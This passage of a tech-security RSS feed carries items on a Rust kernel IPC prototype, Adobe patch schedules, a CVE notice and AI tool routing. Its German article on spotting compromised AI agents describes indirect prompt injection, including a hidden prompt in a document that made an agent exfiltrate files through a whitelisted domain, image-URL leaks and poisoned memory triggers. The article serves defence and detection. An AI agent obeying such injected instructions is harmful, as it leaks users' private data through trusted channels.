<p class="p3"><span>The organisations that succeed will not be those that react to every headline. They will be the ones that combine strong governance, proven security fundamentals and evidence-based decision making while adapting to a rapidly changing AI landscape.</span></p>

<p class="p5"><span>That is where the real competitive advantage will be found.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I tried to create a better IPC system for Linux (rust btw)]]></title>
<description><![CDATA[I'm creating a project called motherboard, a kernel-backed service bus for Linux, designed for fast communication between applications and system services. The idea came from a frustration I have with Linux application development: the system has very powerful primitives, but it doesn't have an a...]]></description>
<link>https://tsecurity.de/de/3644647/linux-tipps/i-tried-to-create-a-better-ipc-system-for-linux-rust-btw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644647/linux-tipps/i-tried-to-create-a-better-ipc-system-for-linux-rust-btw/</guid>
<pubDate>Sat, 04 Jul 2026 04:09:13 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I'm creating a project called <code>motherboard</code>, a kernel-backed service bus for Linux, designed for fast communication between applications and system services.</p> <p>The idea came from a frustration I have with Linux application development: the system has very powerful primitives, but it doesn't have an application platform as unified as Windows or Android. To build a complete app, we often need to deal with a mix of sockets, D-Bus, portals, specific daemons, X11/Wayland, PulseAudio/PipeWire, systemd or alternatives, etc.</p> <p><code>motherboard</code> tries to address this problem by creating a common layer where applications talk to stable OS global interfaces, not concrete processes.</p> <p>For example, an app should not need to know which daemon implements notifications. It should call something like:</p> <pre><code> NotificationDispatcher.send(...) </code></pre> <p>and the system should route that to whoever currently implements that service.</p> <p>Today that implementation may live in a monolithic process. Tomorrow it may be split into multiple daemons. The application does not change, because it depends on the interface, not the implementation.</p> <p>It may look like overengineering if you think about an isolated app talking to one specific daemon. But the problem here is different: an operating system needs to expose global APIs to many applications that do not know each other, while maintaining shared state, permissions, notifications, and real-time changes and you need the OS to be easily backwards compatible.</p> <p>If the user changes the theme or the network state changes (like wifi strength, status, IP, etc...), the shell needs to update, open apps need to react, services may need to recompute state, and future applications I have never seen before need a stable way to observe that without knowing which processes implement each of those services.</p> <p>That is why motherboard is not just “another IPC”. It tries to turn system services into stable interfaces with function calls, reactive stores, and eventually signals. For a small app, Unix sockets are enough. For an OS platform, you need a common layer.</p> <h1>What already works</h1> <p>The project already has a Linux kernel module called <code>motherboardm</code>, which exposes <code>/dev/services</code>.</p> <p>Communication uses commands serialized with <code>postcard</code> and sent through <code>ioctl</code>.</p> <p>Currently, I have implemented:</p> <ul> <li>asynchronous RPC-style calls;</li> <li>per-connection inboxes;</li> <li>latch file descriptors compatible with <code>poll</code>/<code>epoll</code>;</li> <li>inline file descriptor passing;</li> <li>identity metadata provided by the kernel, such as PID, UID, GID, and a flag indicating whether the identity comes from the initial namespace;</li> <li>reactive stores.</li> </ul> <p>Stores are one of my favorite parts of the design. Stores are very similar in spirit to <a href="https://svelte.dev/docs/svelte/stores#svelte-store-readable">svelte readable stores</a>. A service can expose a retained value, for example:</p> <pre><code> SettingsManager.theme </code></pre> <p>Clients can subscribe to that store, receive the current value, and then receive updates whenever the service changes the value.</p> <p>Signals are not implemented yet, but the idea is to use them for events such as “the user clicked on a notification” so apps can do things when certain things happen in the OS.</p> <h1>Practical example</h1> <p>I made a proof of concept with a settings app.</p> <p>One app calls a setter function in the settings service to change the theme. The service updates the <code>theme</code> store, and the other apps that were subscribed receive the update automatically.</p> <p>In other words, system state becomes a reactive primitive instead of polling and flooding the server with get requests like it usually happens with DBus.</p> <h1>Why in the kernel?</h1> <p>I know the natural reaction is to ask: “why not D-Bus or Unix sockets?”</p> <p>The short answer is that Unix sockets are good, but they are a generic primitive. Each protocol needs to rebuild framing, request IDs, asynchronous wakeups, credentials, fd passing, and its own conventions.</p> <p><code>motherboard</code> moves those concerns into a common layer:</p> <ul> <li>atomic messages instead of byte streams;</li> <li>asynchronous request/reply;</li> <li>reply tokens issued by the kernel;</li> <li>fd passing together with the payload;</li> <li>caller identity provided by the kernel;</li> <li>integration with <code>poll</code>/<code>epoll</code>;</li> <li>services as namespaces for functions, stores, and eventually signals.</li> </ul> <p>The inspiration comes a lot from Android Binder, where many Java APIs actually call privileged system services underneath.</p> <h1>Current status</h1> <p>This is still an early prototype. It is kernel code, so bugs can crash the machine. For now, I am developing and testing it carefully.</p> <p>I also created a tool called <code>cargo-nok</code> to compile Linux kernel modules in Rust using Cargo, without directly depending on the kernel’s traditional Makefile infrastructure, allowing direct use of crates.io libraries, taking advantage of the Rust ecosystem and greatly speeding up development. Repository: <a href="https://github.com/ardos-os/cargo-nok">https://github.com/ardos-os/cargo-nok</a></p> <p>My goal now is to get feedback on the design:</p> <ul> <li>does it make sense to model services as namespaces for functions, stores, and signals?</li> <li>do reactive stores at the service bus level seem like a good primitive?</li> <li>what security or lifecycle problems do you think I should handle early?</li> <li>should this stay in the kernel, or would some parts make more sense in userspace?</li> </ul> <p>GitHub: <a href="https://github.com/ardos-os/motherboard">https://github.com/ardos-os/motherboard</a></p> <p>I would really like to hear opinions, especially from people who have worked with Linux, IPC, operating systems, D-Bus, Android, Rust, or low-level development.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/tiagodinis_"> /u/tiagodinis_ </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1umv6g2/i_tried_to_create_a_better_ipc_system_for_linux/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1umv6g2/i_tried_to_create_a_better_ipc_system_for_linux/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows-Alternative: Das System ReactOS integriert NT6-Funktion]]></title>
<description><![CDATA[Das Open-Source-Betriebssystem ReactOS hat einen neuen Meilenstein erreicht. Mit der Implementierung des ersten NT6-Systemaufrufs kommt die Kompatibilität zu Windows Vista einen Schritt näher. Aktuell bewirkt die Funktion jedoch noch nichts.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3644094/it-security-nachrichten/windows-alternative-das-system-reactos-integriert-nt6-funktion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644094/it-security-nachrichten/windows-alternative-das-system-reactos-integriert-nt6-funktion/</guid>
<pubDate>Fri, 03 Jul 2026 19:10:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,159762.html"><img hspace="5" border="0" align="left" alt="Betriebssystem, Russland, Reactos, Open-Source Windows, React OS" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/91529.png"></a>
			Das <a href="https://winfuture.de/special/open-source/" title="Open Source Special">Open-Source-Betriebssystem</a> ReactOS hat einen neuen Meilenstein erreicht. Mit der Implementierung des ersten NT6-Systemaufrufs kommt die Kompatibilität zu Windows Vista einen Schritt näher. Aktuell bewirkt die Funktion jedoch noch nichts.			(<a href="https://winfuture.de/news,159762.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Agents Explained: What Is a ReAct Loop and How Does It Work?]]></title>
<description><![CDATA[How agents reason, act, and observe their way to a final answer, one step at a time
The post AI Agents Explained: What Is a ReAct Loop and How Does It Work? appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3644091/ai-nachrichten/ai-agents-explained-what-is-a-react-loop-and-how-does-it-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644091/ai-nachrichten/ai-agents-explained-what-is-a-react-loop-and-how-does-it-work/</guid>
<pubDate>Fri, 03 Jul 2026 19:05:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>How agents reason, act, and observe their way to a final answer, one step at a time</p>
<p>The post <a href="https://towardsdatascience.com/ai-agents-explained-what-is-a-react-loop-and-how-does-it-work/">AI Agents Explained: What Is a ReAct Loop and How Does It Work?</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Adobe premieres a second Patch Tuesday each month to deliver fixes faster]]></title>
<description><![CDATA[Adobe will now issue security patches for its products twice as often to deal with the increasing pace of software vulnerability discovery and exploitation.



This follows Oracle’s decision to increase its quarterly patch program to a monthly one.



Adobe issues patches on the second Tuesday of...]]></description>
<link>https://tsecurity.de/de/3643780/it-nachrichten/adobe-premieres-a-second-patch-tuesday-each-month-to-deliver-fixes-faster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643780/it-nachrichten/adobe-premieres-a-second-patch-tuesday-each-month-to-deliver-fixes-faster/</guid>
<pubDate>Fri, 03 Jul 2026 16:18:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Adobe will now issue security patches for its products twice as often to deal with the increasing pace of software vulnerability discovery and exploitation.</p>



<p>This <a href="https://www.infoworld.com/article/4167338/oracle-will-patch-more-often-to-counter-ai-cybersecurity-threat-3.html">follows Oracle’s decision to increase its quarterly patch</a> program to a monthly one.</p>



<p>Adobe issues patches on the second Tuesday of each month, as do Microsoft and SAP. Starting in July, it will also issue them on the fourth Tuesday of each month, it said in a blog post.</p>



<p>As an early indicator of the need for the faster rhythm, it issued two security advisories dealing with a number of critical vulnerabilities on June 30 — the fifth Tuesday of that month: <a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html" target="_blank" rel="noreferrer noopener">APSB 26-28</a> and <a href="https://helpx.adobe.com/security/products/campaign/apsb26-69.html" target="_blank" rel="noreferrer noopener">APSB26-29</a>. It is not alone in issuing out-of-sequence patches for urgent fixes: In April, <a href="https://www.csoonline.com/article/4162178/microsoft-issues-out-of-band-patch-for-critical-security-flaw-in-update-to-asp-net-core.html">Microsoft also released one</a> to react to a particular threat.</p>



<p>Adobe said in a <a href="https://blog.adobe.com/security/protecting-customers-faster-how-adobe-is-responding-to-ai-accelerated-vulnerability-discovery">blog post</a> that it is responding to the increased level of threats: “Twice-monthly bulletins will enable us to keep pace with the era of frontier AI. More vulnerabilities found means more fixes to deploy and a once-a-month publication window is no longer fast enough to stay ahead of our adversaries. This new cadence is the direct result of investing in improved vulnerability discovery.”</p>



<p>The new schedule will be effective from July 14 and will apply to every advisory that includes a formally published CVE requiring customer action.</p>



<p><em>This article first appeared on <a href="https://www.csoonline.com/article/4192789/adobe-premieres-a-second-patch-tuesday-each-month-to-deliver-fixes-faster.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Adobe premieres a second Patch Tuesday each month to deliver fixes faster]]></title>
<description><![CDATA[Adobe will now issue security patches for its products twice as often to deal with the increasing pace of software vulnerability discovery and exploitation.



This follows Oracle’s decision to increase its quarterly patch program to a monthly one.



Adobe issues patches on the second Tuesday of...]]></description>
<link>https://tsecurity.de/de/3643757/it-security-nachrichten/adobe-premieres-a-second-patch-tuesday-each-month-to-deliver-fixes-faster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643757/it-security-nachrichten/adobe-premieres-a-second-patch-tuesday-each-month-to-deliver-fixes-faster/</guid>
<pubDate>Fri, 03 Jul 2026 16:08:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Adobe will now issue security patches for its products twice as often to deal with the increasing pace of software vulnerability discovery and exploitation.</p>



<p>This <a href="https://www.infoworld.com/article/4167338/oracle-will-patch-more-often-to-counter-ai-cybersecurity-threat-3.html">follows Oracle’s decision to increase its quarterly patch</a> program to a monthly one.</p>



<p>Adobe issues patches on the second Tuesday of each month, as do Microsoft and SAP. Starting in July, it will also issue them on the fourth Tuesday of each month, it said in a blog post.</p>



<p>As an early indicator of the need for the faster rhythm, it issued two security advisories dealing with a number of critical vulnerabilities on June 30 — the fifth Tuesday of that month: <a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html" target="_blank" rel="noreferrer noopener">APSB 26-28</a> and <a href="https://helpx.adobe.com/security/products/campaign/apsb26-69.html" target="_blank" rel="noreferrer noopener">APSB26-29</a>. It is not alone in issuing out-of-sequence patches for urgent fixes: In April, <a href="https://www.csoonline.com/article/4162178/microsoft-issues-out-of-band-patch-for-critical-security-flaw-in-update-to-asp-net-core.html">Microsoft also released one</a> to react to a particular threat.</p>



<p>Adobe said in a <a href="https://blog.adobe.com/security/protecting-customers-faster-how-adobe-is-responding-to-ai-accelerated-vulnerability-discovery">blog post</a> that it is responding to the increased level of threats: “Twice-monthly bulletins will enable us to keep pace with the era of frontier AI. More vulnerabilities found means more fixes to deploy and a once-a-month publication window is no longer fast enough to stay ahead of our adversaries. This new cadence is the direct result of investing in improved vulnerability discovery.”</p>



<p>The new schedule will be effective from July 14 and will apply to every advisory that includes a formally published CVE requiring customer action.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[So spüren Sie kompromittierte KI-Agenten auf]]></title>
<description><![CDATA[Kompromittierte KI-Agenten sind nicht leicht zu erkennen. Lesen, wie es trotzdem klappt.amgun | shutterstock.com



Im Juni 2025 veröffentlichte der prominente britische Softwareentwickler Simon Willison einen in der Security-Community vielbeachteten Blogbeitrag. Darin warnte der Experte, der im ...]]></description>
<link>https://tsecurity.de/de/3642682/it-security-nachrichten/so-spueren-sie-kompromittierte-ki-agenten-auf/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642682/it-security-nachrichten/so-spueren-sie-kompromittierte-ki-agenten-auf/</guid>
<pubDate>Fri, 03 Jul 2026 06:07:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/08/amgun_shutterstock_2602293623_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Table Risk 16z9" class="wp-image-4037407" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Kompromittierte KI-Agenten sind nicht leicht zu erkennen. Lesen, wie es trotzdem klappt.</figcaption></figure><p class="imageCredit">amgun | shutterstock.com</p></div>



<p>Im Juni 2025 <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/" target="_blank" rel="noreferrer noopener">veröffentlichte</a> der prominente britische Softwareentwickler <a href="https://en.wikipedia.org/wiki/Simon_Willison" target="_blank" rel="noreferrer noopener">Simon Willison</a> einen in der Security-Community vielbeachteten Blogbeitrag. Darin warnte der Experte, der im Jahr 2022 den Begriff „Prompt Injection“ geprägt hatte, vor einer tödlichen Dreierkombination („Lethal Trifecta“), die ausreichen um einen KI-Agenten mit nahezu hundertprozentiger Erfolgswahrscheinlichkeit durch indirekte Prompt Injection <a href="https://www.computerwoche.de/article/4155663/6-wege-uber-ki-gehackt-zu-werden.html" target="_blank">zu kompromittieren</a>. Diese „Lethal Trifecta“ bei KI-Agenten manifestiert sich demnach im:   </p>



<ul class="wp-block-list">
<li>Zugriff auf private Daten,</li>



<li>dem Kontakt mit nicht vertrauenswürdigen Inhalten, sowie</li>



<li>der Fähigkeit zur externen Kommunikation.</li>
</ul>



<p>Ein Angreifer, der schadhafte Anweisungen an beliebiger Stelle in dieser Inhalts-Pipeline <a href="https://www.computerwoche.de/article/4044551/wenn-der-ki-agent-im-fakeshop-kauft.html" target="_blank">einschleust</a>, kann Daten exfiltrieren, ohne dass das überhaupt auffällt. Willison veranschaulichte diesen Punkt in seinem Beitrag mit einer langen Liste realer Exploits in Produktionsumgebungen. Das „tödliche Triple“ fungierte dabei zu einer Zeit als Security-Warnsignal, in der KI-Agenten einen meist eng begrenzten Anwendungsbereich hatten. Die Kombination der oben genannten Fähigkeiten zu vermeiden, schien eine tragfähige Designstrategie.</p>



<p>Das hat sich mittlerweile geändert: Ein kundenorientierter <a href="https://www.computerwoche.de/article/3980070/ki-tutorial-fur-bessere-helpdesks.html" target="_blank">Support-Agent</a> erfasst heute Ticketverläufe und Kundendaten, Benutzernachrichten sowie angehängte Dateien und ruft CRMs, Rückerstattungs-APIs oder Ticketing-Systeme auf. Ebenso lesen und beantworten KI-Agenten E-Mails, verwalten Kalender und Nachrichten. Das sind keine „Edge Cases“, sondern genau die Art von Agenten, nach denen Unternehmen und Privatanwender streben – und auf die die Anbieter hinarbeiten.</p>



<h2 class="wp-block-heading">Das „tödliche Triple“ als neuer Standard</h2>



<p><a href="https://uk.linkedin.com/in/ross-mckerchar-42bb548">Ross </a><a href="https://uk.linkedin.com/in/ross-mckerchar-42bb548" target="_blank" rel="noreferrer noopener">McKerchar</a>, CISO bei Sophos, bringt das Problem in einem <a href="https://www.sophos.com/en-us/blog/inside-the-lethal-trifecta-blast-radius-reduction-in-ai-agent-deployments" target="_blank" rel="noreferrer noopener">eigenen Blogbeitrag</a> auf den Punkt: „Die Funktionen, die Praktiker tatsächlich wollen, führen unweigerlich in gefährliches Terrain. Das ist keine Fehlkonfiguration, sondern der architektonische Preis für die Nützlichkeit.“</p>



<p>Damit liegt der Security-Entscheider richtig: Ein Agent ohne Zugriff auf private Daten ist nutzlos. Einer, der keine externen Inhalte verarbeiten kann, agiert isoliert. Und ein Agent, der nicht nach außen kommunizieren kann, ist handlungsunfähig. Nimmt man auch nur einen dieser drei Aspekte weg, steht im Ergebnis eher eine Suchleiste als ein KI-Agent. Wenn jede legitime Agentenarchitektur sämtliche Eigenschaften der „Lethal Trifecta“ aufweist, kann diese kein aussagekräftiger Indikator für erhöhtes Risiko mehr sein – sondern ist de facto die Standardkonfiguration. Sie weiterhin als Warnsignal zu betrachten, ist so, als würde man die <a href="https://www.computerwoche.de/article/2802729/was-ist-das-domain-name-system.html" target="_blank">DNS</a>-Auflösung als Anzeichen für ein kompromittiertes Netzwerk werten. Technisch gesehen <a href="https://www.csoonline.com/article/574989/4-strategies-to-help-reduce-the-risk-of-dns-tunneling.html" target="_blank">trifft das zwar auf einige Threat-Modelle zu</a>, ist aber in jedem realen Deployment allgegenwärtig.</p>



<p>Die Antwort auf diese Situation beschreibt der Sophos-CISO in seinem Blogbeitrag als „Blast Radius Reduction“. Gemeint ist eine realistische operative Philosophie, die die „Lethal Trifecta“ als gegeben akzeptiert. Das wäre ein guter erster Schritt – allerdings stellt sich die Frage, was nach der Akzeptanzphase folgt. Das Security-Team von Meta gelangte zu einer ähnlichen Erkenntnis wie McKerchar, nur aus einer anderen Richtung: Im Oktober 2025 veröffentlichte der Konzern sein „<a href="https://ai.meta.com/blog/practical-ai-agent-security/" target="_blank" rel="noreferrer noopener">Rule of Two</a>“-Framework. Dieses sieht vor, dass KI-Agenten nicht mehr als zwei der drei Komponenten der „Lethal Trifecta“ aufweisen sollten. Sind alle drei Merkmale vertreten, wird eine menschliche Genehmigung erforderlich. Von der Idee war auch Simon Willison angetan, der das Meta-Framework im November 2025 als den besten praktischen Ratgeber <a href="https://simonwillison.net/2025/Nov/2/new-prompt-injection-papers/" target="_blank" rel="noreferrer noopener">bezeichnete</a>, um sichere Agentensysteme auf LLM-Basis aufzubauen.</p>



<p>Mit Blick auf sein Framework räumt Meta allerdings auch Limitationen ein. Demnach passten diverse populäre Use Cases nicht nahtlos in das Rahmenwerk, wodurch Designs, die auf der „Rule of Two“ aufbauen, dennoch anfällig für Fehler sein könnten. Das ist nur die Bestätigung dafür, dass das Problem die Lösung auf Architekturebene bereits überholt hat. Denn das Ausmaß der Sicherheitslücken ist längst nicht mehr nur theoretischer Natur: So brachte eine Untersuchung des Common Crawl Repositories durch Sicherheitsforscher von Google diverse Prompt-Injection-Angriffe auf öffentlich zugängliche Webseiten <a href="https://blog.google/security/prompt-injections-web/" target="_blank" rel="noreferrer noopener">ans Licht</a>. Laut Google haben die Angriffsversuche dieser Art zwischen November 2025 und Februar 2026 <strong>um 32 Prozent</strong> zugelegt. Zwar stellten die Sicherheitsexperten fest, dass deren Reifegrad derzeit noch gering ist. Allerdings weisen sie auch darauf hin, dass der Trend ein klares Signal dafür ist, dass das Interesse der Angreifer zunimmt. Anders ausgedrückt: Das Umfeld, vor dem die „Lethal Trifecta“ einst gewarnt hat, ist zur Realität geworden.</p>



<h2 class="wp-block-heading">5 Anzeichen für kompromittierte KI-Agenten</h2>



<p>Wenn nahezu jeder eingesetzte KI-Agent die Merkmale der „Lethal Trifecta“ aufweist, benötigen Praktiker die richtigen Anhaltspunkte, um kompromittiertes Verhalten vom normalen Betrieb innerhalb eines Systems zu unterscheiden. Das erfordert einen Shift: Weg von Assessments auf Architekturebene und hin zu Behavioral Detection auf <a href="https://www.csoonline.com/article/4145127/runtime-the-new-frontier-of-ai-agent-security.html" target="_blank">Laufzeitebene</a>. Wie nötig dieser Umschwung ist, zeigte sich zuletzt im Januar 2026, als innerhalb von nur fünf Tagen vier verschiedene Exploits gegen populäre KI-Produktivitäts-Tools <a href="https://breached.company/the-lethal-trifecta-strikes-four-major-ai-agent-vulnerabilities-in-five-days/" target="_blank" rel="noreferrer noopener">bekannt wurden</a>. Betroffen waren IBM Bob, Superhuman AI, Notion AI und Claude Cowork. In allen vier Fällen setzten die Angreifer auf indirekte Promp Injection, um Daten zu exfiltrieren. Und zwar über einen Kanal, auf den der jeweilige Agent legitimen Zugriff hatte.</p>



<p>Im Fall von Claude Cowork sorgte ein in ein hochgeladenes Dokument eingebetteter, versteckter Prompt etwa dafür, dass der KI-Agent Dateien über die von Anthropic selbst auf die Whitelist gesetzte API-Domain exfiltrierte – unsichtbar für sämtliche Perimeterkontrollmaßnahmen und nicht von normalem Agentenverhalten zu unterscheiden, bis die Daten bereits gestohlen waren. Die vier Exploits hatten außerdem gemein, dass die „Lethal Trifecta“ Betriebsbedingung war.</p>



<p>Die folgenden fünf Signale können dazu beitragen, kompromittierte KI-Agenten zu erkennen:</p>



<ul class="wp-block-list">
<li><strong>Anomalien bei der Befolgung von Anweisungen:</strong> Ein kompromittierter Agent verhält sich in der Regel nicht grundlegend anders als ein intakter – er befolgt Anweisungen. Die Frage ist nur, wessen. Agenten-Aktionen, die keinen plausiblen Bezug zu einer vom Benutzer initiierten Aufgabe haben, sollten deshalb die Alarmglocken schrillen lassen. Ein Agent, der dazu aufgefordert wurde, einen Quartalsbericht zusammenzufassen, dann aber eine DNS-Anfrage an eine unbekannte Domain aussendet, hat sich dazu nicht spontan „entschlossen“ – er wurde dazu veranlasst.</li>



<li><strong>Tool-Call-Sequenzen, die die erwartete Topologie durchbrechen:</strong> In einem <a href="https://www.computerwoche.de/article/4132787/wie-ki-agenten-daten-konsumieren-sollten.html" target="_blank">gut konzipierten KI-Agentensystem</a> sollte die Sequenz der Tool-Aufrufe für eine spezifische Aufgabe relativ vorhersehbar sein. Ein Programmier-Agent, der einen Bug fixen soll, muss Dateien bearbeiten, Tests ausführen und möglicherweise die Dokumentation überprüfen. Er sollte allerdings nicht auf E-Mail- oder Kalender-APIs zugreifen. Sobald die erwarteten Grenzen eines Workflows in diesem Rahmen überschritten werden, ist deshalb Skepsis angesagt: Solche Tool-Call-Sequenzen sollten als verdächtig markiert werden, selbst wenn jeder einzelne Aufruf für sich genommen legitim erscheint.</li>



<li><strong>Exfiltration über Kanäle mit geringer Bandbreite:</strong> Der klassische Exfiltrationsangriff durch Prompt Injection leitet gestohlene Daten über einen Mechanismus weiter, auf den der Agent legitim zugreift – die URL eines gerenderten Bildes mit verschlüsselten Abfrageparametern, einen API-Call mit Daten, die in einem Parameter eingebettet sind oder einen Link in einem generierten Dokument. Für sich genommen sehen diese Aktionen nicht nach Datendiebstahl aus, sondern wirken völlig normal. Um eine Exfiltration erkennen zu können, sollte geprüft werden, auf welche Daten der Agent Zugriff hatte und was er in seinen Output eingebettet hat. Das erfordert wiederum, dass die Agentenaktionen durchgängig transparent sind – nicht nur der endgültige Output.</li>



<li><strong>Zugriff auf Anmeldedaten und Secrets außerhalb des Task-Scope:</strong> Greift ein Agent mit legitimen Zugriffsrechten auf einen Secrets Store oder einen Key Vault zu, die in keinem Zusammenhang mit dem aktuellen Task stehen, ist das ebenfalls ein Warnsignal. Ein Agent, der einen React-Rendering-Fehler beheben soll, braucht dazu mit Sicherheit keine AWS-Anmeldedaten. Das <a href="https://www.computerwoche.de/article/4135894/10-release-kriterien-fur-ki-agenten.html" target="_blank">Least-Privilege-Prinzip</a> dient hier als architektonische Abwehrmaßnahme. Doch erst ein Monitoring, bei dem gezielt überprüft wird, ob „out of scope“ auf Login-Daten zugegriffen wird, kann solche Abläufe zu Tage fördern.</li>



<li><strong>Anomalien bei Memory-Write-Vorgängen:</strong> Agenten mit persistentem Speicher stellen eine wachsende Angriffsfläche dar. Ein manipulierter Memory-Eintrag, der wie legitimer Benutzerkontext aussieht, könnte versteckte „Trigger Instructions“ enthalten, die Session-übergreifend erhalten bleiben und erst lange nach der eigentlichen Prompt Injection ausgelöst werden. Dagegen hilft, die Observability-Pipeline für KI-Agenten <a href="https://www.computerwoche.de/article/4150608/wie-ki-agenten-observable-werden.html" target="_blank">entsprechend auszugestalten</a>: Memory-Schreibvorgänge sollten auf befehlsähnliche Inhalte überwacht werden. Ebenso müssen Schreibvorgänge, die im Rahmen von Sessions mit nicht-vertrauenswürdigen Inhalten stattgefunden haben, kritisch beäugt werden.</li>
</ul>



<p>Für Security-Praktiker, die eine Agentic-AI-Infrastruktur im Produktivbetrieb managen, bestätigt die Entwicklung der „Lethal Trifecta“ zum neuen Standard nur das, was Sie ohnehin längst wissen: Ihre KI-Agenten sind gefährdet. Dieser Herausforderung ist <strong>auf Ebene der Runtime</strong> zu begegnen, nicht auf Architekturebene. Dort sind für traditionelle Architekturen EDR und SIEM angesiedelt. KI-Agenten benötigen dieselbe Instrumentierung – was auf die allermeisten Deployments bislang nicht zutrifft. (fm)</p>



<p><strong>Dieser Artikel ist </strong><a href="https://www.csoonline.com/article/4184681/5-runtime-signals-for-catching-a-compromised-ai-agent.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation CSOonline.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-58460 | ajith-ab react-native-receive-sharing-intent ContentProvider path traversal (EUVD-2026-41437)]]></title>
<description><![CDATA[A vulnerability was found in ajith-ab react-native-receive-sharing-intent. It has been declared as critical. This affects an unknown part of the component ContentProvider Handler. Such manipulation leads to path traversal. This vulnerability only affects products that are no longer supported by t...]]></description>
<link>https://tsecurity.de/de/3642484/sicherheitsluecken/cve-2026-58460-ajith-ab-react-native-receive-sharing-intent-contentprovider-path-traversal-euvd-2026-41437/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642484/sicherheitsluecken/cve-2026-58460-ajith-ab-react-native-receive-sharing-intent-contentprovider-path-traversal-euvd-2026-41437/</guid>
<pubDate>Fri, 03 Jul 2026 02:07:58 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/ajith-ab:react-native-receive-sharing-intent">ajith-ab react-native-receive-sharing-intent</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. This affects an unknown part of the component <em>ContentProvider Handler</em>. Such manipulation leads to path traversal. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-58460">CVE-2026-58460</a>. Access to the local network is required for this attack to succeed. There is no exploit available.

It is advisable to implement a patch to correct this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[New Alibaba AI framework skips loading every tool, cutting agent token use 99%]]></title>
<description><![CDATA[As enterprise AI systems scale to handle complex workflows, practitioners face the challenge of routing subtasks to the right tools and skills. Agents can have hundreds of tools and skills and get confused on which one to use for each step of a workflow.To address this challenge, researchers at A...]]></description>
<link>https://tsecurity.de/de/3642271/it-nachrichten/new-alibaba-ai-framework-skips-loading-every-tool-cutting-agent-token-use-99/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642271/it-nachrichten/new-alibaba-ai-framework-skips-loading-every-tool-cutting-agent-token-use-99/</guid>
<pubDate>Thu, 02 Jul 2026 23:17:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As enterprise AI systems scale to handle complex workflows, practitioners face the challenge of routing subtasks to the right tools and skills. Agents can have hundreds of tools and skills and get confused on which one to use for each step of a workflow.</p><p>To address this challenge, researchers at Alibaba developed <a href="https://arxiv.org/abs/2606.18051">SkillWeaver</a>, a framework that creates an execution graph for a given task and chooses the right skills for each of the nodes. They also introduce Skill-Aware Decomposition (SAD), a novel technique that uses a feedback loop to enable the agent to fetch and vet relevant tool candidates iteratively. This compositional approach and feedback loop mechanism distinguishes SkillWeaver from other tool-routing frameworks that choose tools in a one-shot fashion. </p><p>SkillWeaver relates to real-world AI applications where agents autonomously orchestrate multi-tool ecosystems, such as the Model Context Protocol (MCP), to execute multi-step business operations like downloading datasets, transforming information, and creating visual 